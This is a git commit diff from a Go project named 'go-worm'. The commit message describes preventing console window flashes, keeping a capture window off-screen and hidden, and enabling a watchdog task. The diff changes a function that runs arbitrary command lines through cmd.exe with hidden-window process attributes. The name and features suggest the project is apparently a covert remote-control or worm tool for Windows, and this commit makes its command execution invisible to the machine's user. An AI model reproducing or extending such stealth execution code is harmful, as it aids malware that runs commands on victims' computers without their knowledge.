fix(windows): prevent console window flash
- Centralize hidden-process setup per OS - Hide console early to avoid startup flash - Keep capture window off-screen and hidden - Enable unified scheduler for watchdog task - Force GUI subsystem in build script
This commit is contained in:
@@ -5,12 +5,10 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||
)
|
||||
|
||||
@@ -34,11 +32,8 @@ func ResolveTimeout(seconds int) (time.Duration, error) {
|
||||
}
|
||||
|
||||
func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) {
|
||||
cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: windows.CREATE_NO_WINDOW,
|
||||
}
|
||||
cmd := exec.CommandContext(ctx, "cmd.exe", "/D", "/C", cmdline)
|
||||
cmd.SysProcAttr = helpers.HiddenSysProcAttr()
|
||||
var stdout, stderr bytes.Buffer
|
||||
cmd.Stdout = &stdout
|
||||
cmd.Stderr = &stderr
|
||||
|
||||
Reference in New Issue
Block a user